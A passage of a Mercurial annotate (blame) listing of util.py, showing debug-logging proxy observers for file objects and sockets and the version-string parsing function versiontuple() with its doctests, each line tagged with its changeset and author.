3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	824 def bufferedreadline(self, res):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	825 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	826 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	827
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	828 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	829 self.fh.write('%s> bufferedreadline() -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	830 self.name, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	831
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	832 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	833
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	834 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	835 logdata=False, logdataapis=True):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	836 """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	837
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	838 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	839 logdata=logdata, logdataapis=logdataapis)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	840 return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	841
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	842 class socketobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	843 """Logs socket activity."""
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	844 def __init__(self, fh, name, reads=True, writes=True, states=True,
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	845 logdata=False, logdataapis=True):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	846 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	847 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	848 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	849 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	850 self.states = states
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	851 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	852 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	853
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	854 def makefile(self, res, mode=None, bufsize=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	855 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	856 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	857
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	858 self.fh.write('%s> makefile(%r, %r)\n' % (
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	859 self.name, mode, bufsize))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	860
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	861 def recv(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	862 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	863 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	864
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	865 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	866 self.fh.write('%s> recv(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	867 self.name, size, flags, len(res)))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	868 self._writedata(res)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	869
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	870 def recvfrom(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	871 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	872 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	873
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	874 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	875 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	876 self.name, size, flags, len(res[0])))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	877
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	878 self._writedata(res[0])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	879
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	880 def recvfrom_into(self, res, buf, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	881 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	882 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	883
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	884 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	885 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	886 self.name, size, flags, res[0]))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	887
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	888 self._writedata(buf[0:res[0]])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	889
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	890 def recv_into(self, res, buf, size=0, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	891 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	892 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	893
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	894 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	895 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	896 self.name, size, flags, res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	897
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	898 self._writedata(buf[0:res])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	899
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	900 def send(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	901 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	902 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	903
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	904 self.fh.write('%s> send(%d, %d) -> %d' % (
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	905 self.name, len(data), flags, len(res)))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	906 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	907
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	908 def sendall(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	909 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	910 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	911
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	912 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	913 # Returns None on success. So don't bother reporting return value.
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	914 self.fh.write('%s> sendall(%d, %d)' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	915 self.name, len(data), flags))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	916
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	917 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	918
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	919 def sendto(self, res, data, flagsoraddress, address=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	920 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	921 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	922
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	923 if address:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	924 flags = flagsoraddress
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	925 else:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	926 flags = 0
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	927
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	928 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	929 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	930 self.name, len(data), flags, address, res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	931
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	932 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	933
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	934 def setblocking(self, res, flag):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	935 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	936 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	937
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	938 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	939
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	940 def settimeout(self, res, value):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	941 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	942 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	943
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	944 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	945
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	946 def gettimeout(self, res):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	947 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	948 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	949
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	950 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	951
39097 ed8160e4fea0 util: fix signature of setsockopt in socket observer Augie Fackler <augie@google.com> parents: 38852 diff changeset	952 def setsockopt(self, res, level, optname, value):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	953 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	954 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	955
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	956 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
39097 ed8160e4fea0 util: fix signature of setsockopt in socket observer Augie Fackler <augie@google.com> parents: 38852 diff changeset	957 self.name, level, optname, value, res))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	958
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	959 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	960 logdata=False, logdataapis=True):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	961 """Turn a socket into a logging socket."""
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	962
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	963 observer = socketobserver(logh, name, reads=reads, writes=writes,
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	964 states=states, logdata=logdata,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	965 logdataapis=logdataapis)
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	966 return socketproxy(fh, observer)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	967
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	968 def version():
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	969 """Return version information if available."""
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	970 try:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	971 from . import __version__
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	972 return __version__.version
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	973 except ImportError:
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	974 return 'unknown'
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	975
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	976 def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	977 """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	978
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	979 The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	980 If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	981
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	982 ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	983 returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	984
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	985 >>> v = b'3.6.1+190-df9b73d2d444'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	986 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	987 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	988 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	989 (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	990 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	991 (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	992
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	993 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	994 (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	995
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	996 >>> v = b'3.6'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	997 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	998 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	999 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1000 (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1001 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1002 (3, 6, None, None)
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1003
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1004 >>> v = b'3.9-rc'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1005 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1006 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1007 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1008 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1009 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1010 (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1011
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1012 >>> v = b'3.9-rc+2-02a8fea4289b'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1013 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1014 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1015 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1016 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1017 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1018 (3, 9, None, 'rc+2-02a8fea4289b')
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1019
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1020 >>> versiontuple(b'4.6rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1021 (4, 6, None, 'rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1022 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1023 (4, 6, None, 'rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1024 >>> versiontuple(b'.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1025 (None, None, None, '.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1026 >>> versiontuple(b'12.34..5')
